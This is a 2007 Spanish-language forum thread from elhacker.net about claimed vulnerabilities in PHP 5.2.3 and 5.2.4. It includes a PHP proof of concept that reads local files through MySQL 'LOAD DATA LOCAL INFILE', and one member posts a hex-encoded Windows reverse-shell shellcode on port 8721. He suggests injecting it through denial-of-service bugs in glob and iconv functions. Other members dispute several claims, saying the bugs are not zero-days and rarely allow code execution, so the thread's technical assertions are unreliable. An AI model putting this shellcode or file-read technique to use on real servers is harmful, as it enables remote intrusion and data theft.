elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 22:49  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Zero-Day en PHP 5.2.3 y 5.2.4
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Zero-Day en PHP 5.2.3 y 5.2.4  (Leído 2,310 veces)
WHK
吴阿卡
Ex-Staff
*
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Zero-Day en PHP 5.2.3 y 5.2.4
« en: 22 Septiembre 2007, 08:33 »

Ni la última versión de PHP se ha salvado ahora  :xD recopilé una serie de vulnerabilidades de diferentes partes donde se verifica que ninguna versión de PHP es segura por el momento.

http://whk.sitehacking.net/?p=77

Las saqué entre securityfocus y seclist.

Algunas de ellas son denegaciones de servicio laggeando en while entre otras cosas... imaginen dejar un servidor completo sin php :P

Otras son por ejemplo para poder acceder a archivos que comunmente no tienes acceso... ejemplo, leer el archivo etc/password y no tan solo en la versión 5.2.3 sino también ahora en 5.2.4  :xD haciendo querys en sql y sqli hacia esos archivos inaccesibles, entre varios métodos mas.
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
berz3k
Moderador
***
Desconectado Desconectado

Mensajes: 1.140



Ver Perfil
Re: Zero-Day en PHP 5.2.3 y 5.2.4
« Respuesta #1 en: 22 Septiembre 2007, 12:35 »



WHK, tenes hecho ya algunos PoC el 1er code apenas prueba no me funciona, tendremos que probar para verificar los codes.

-berz3k.

En línea
EvilGoblin


Desconectado Desconectado

Mensajes: 2.320


YO NO LA VOTE!


Ver Perfil
Re: Zero-Day en PHP 5.2.3 y 5.2.4
« Respuesta #2 en: 22 Septiembre 2007, 15:19 »

=O... son todos PoC o D.O.S   ;D

no hay un exploit?=$

para algun RunSevice;D

ojala supiera programar bien PHP =(

Gracias igual! ahora pruebo ^^
En línea

Experimental Serial Lain [Linux User]
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Zero-Day en PHP 5.2.3 y 5.2.4
« Respuesta #3 en: 22 Septiembre 2007, 16:06 »

Código
<?php
file_get_contents('C:\\boot.txt');
$l = mysql_connect("localhost", "username", "password");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'username'@'localhost'");
mysql_close($l); mysql_connect("localhost", "username","password");
mysql_query("LOAD DATA LOCAL INFILE 'C:\\boot.txt' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);
?>

Tampoco pude insertar el contenido del archivo en la base de datos (PHP 5.2.2).

PD: Ninguno de los listados es zero day xd
« Última modificación: 22 Septiembre 2007, 16:23 por yeikos » En línea
WHK
吴阿卡
Ex-Staff
*
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: Zero-Day en PHP 5.2.3 y 5.2.4
« Respuesta #4 en: 24 Septiembre 2007, 00:06 »

Citar
=O... son todos PoC o D.O.S    ;D
no hay un exploit?=$
para algun RunSevice;D

Inyectas shellcodes en cada denegación de servicio:
http://securityvulns.com/files/phpglobex.php

igual que lo hacen en 5.2.3 puedes hacerlo en 5.2.4
iconv()
iconv_mime_decode_headers()
iconv_mime_decode()
iconv_strlen()
iconv_substr()
setlocale()

Por ejemplo esta shellcode te permite obtener una shell inversa al puerto 8721:

Código:
"\xe8\x30\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xec\xf9\xaa"
"\x60\xd9\x09\xf5\xad\xcb\xed\xfc\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2"
"\x73\xad\xd9\x05\xce\x72\xfe\xb3\x16\x57\x53\x32\x5f\x33\x32\x2e"
"\x44\x4c\x4c\x00\x01\x5b\x54\x89\xe5\x89\x5d\x00\x6a\x30\x59\x64"
"\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x58\x08\xeb\x0c\x8d\x57"
"\x24\x51\x52\xff\xd0\x89\xc3\x59\xeb\x10\x6a\x08\x5e\x01\xee\x6a"
"\x08\x59\x8b\x7d\x00\x80\xf9\x04\x74\xe4\x51\x53\xff\x34\x8f\xe8"
"\x83\x00\x00\x00\x59\x89\x04\x8e\xe2\xeb\x31\xff\x66\x81\xec\x90"
"\x01\x54\x68\x01\x01\x00\x00\xff\x55\x18\x57\x57\x57\x57\x47\x57"
"\x47\x57\xff\x55\x14\x89\xc3\x31\xff\x68\xc0\xa8\x00\xf7\x68\x02"
"\x00\x22\x11\x89\xe1\x6a\x10\x51\x53\xff\x55\x10\x85\xc0\x75\x44"
"\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\xc6\x44\x24\x10\x44\xfe"
"\x44\x24\x3d\x89\x5c\x24\x48\x89\x5c\x24\x4c\x89\x5c\x24\x50\x8d"
"\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49\x51\x51\xff\x75\x00"
"\x51\xff\x55\x28\x89\xe1\x68\xff\xff\xff\xff\xff\x31\xff\x55\x24"
"\x57\xff\x55\x0c\xff\x55\x20\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b"
"\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb"
"\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0"
"\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b"
"\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b"
"\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d\x5b\xc2\x08\x00";

O te buscas una shell que se adapte al sistema operativo del servidor.
« Última modificación: 24 Septiembre 2007, 00:12 por WHK » En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Zero-Day en PHP 5.2.3 y 5.2.4
« Respuesta #5 en: 24 Septiembre 2007, 02:22 »

A ver... que estoy leyendo cada salvajada...

Cita de: WHK
Inyectas shellcodes en cada denegación de servicio:
http://securityvulns.com/files/phpglobex.php

No se cuál es tu nivel de inglés pero el advisory lo dice bien claro...

¿Cómo vas a escribir una shellcode en el nombre del fichero?

Y para terminar... no os creáis que toda denegación del servicio conduce a una ejecución arbitraria en la máquina afectada, en la mayoría de los casos no es posible dada las condiciones.
En línea
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Zero-Day en PHP 5.2.3 y 5.2.4
« Respuesta #6 en: 24 Septiembre 2007, 02:33 »

bueno de hecho se reescribe EIP, asi que si podrias usar el exploit para elevar privilegios.. pero es.. "dificil" que se den las circunstancias necsarias..
En línea

codebreak

Desconectado Desconectado

Mensajes: 56



Ver Perfil
Re: Zero-Day en PHP 5.2.3 y 5.2.4
« Respuesta #7 en: 25 Septiembre 2007, 08:35 »

Código
<?php
file_get_contents('C:\\boot.txt');
$l = mysql_connect("localhost", "username", "password");
mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT,INSERT ON a.a TO 'username'@'localhost'");
mysql_close($l); mysql_connect("localhost", "username","password");
mysql_query("LOAD DATA LOCAL INFILE 'C:\\boot.txt' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))
print $row . chr(10);
?>

Tampoco pude insertar el contenido del archivo en la base de datos (PHP 5.2.2).

PD: Ninguno de los listados es zero day xd

Es que para que te funcione, la cuenta de MySQL que utilizas debe tener "File Access", cosa que no es común... además que no es muy utilizable, pensando que el archivo a incluir debe estar en la misma maquina que MySQL, considerando que queremos safarnos del base_dir en donde estamos y no en el servidor MySQL (que en la gran mayoría de los hostings, es remoto).

Y muy cierto.. eso no es 0day... de hecho es utilizado por las shells MySQL hace harto tiempo y en inyecciones, es algo muy común.

Respecto al DOS/BOF... me parece difícil hacer ejecución de código jajaja, dado que se basa en el nombre del archivo... de todas formas, porque se considera remoto?. Glob(); no es una función que se ejecuta de manera local?... y aun así, si el parámetro estuviese en una variable (supongamos un GET), no seria así con el FLAG, el cual es el que esta causando el error (el -1).. así que yo lo consideraría un DOS local y no remoto.. pero me podría equivocar; me gustaría ver una aplicación vulnerable.

saludos!
En línea



W4ck1ng Team Member
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines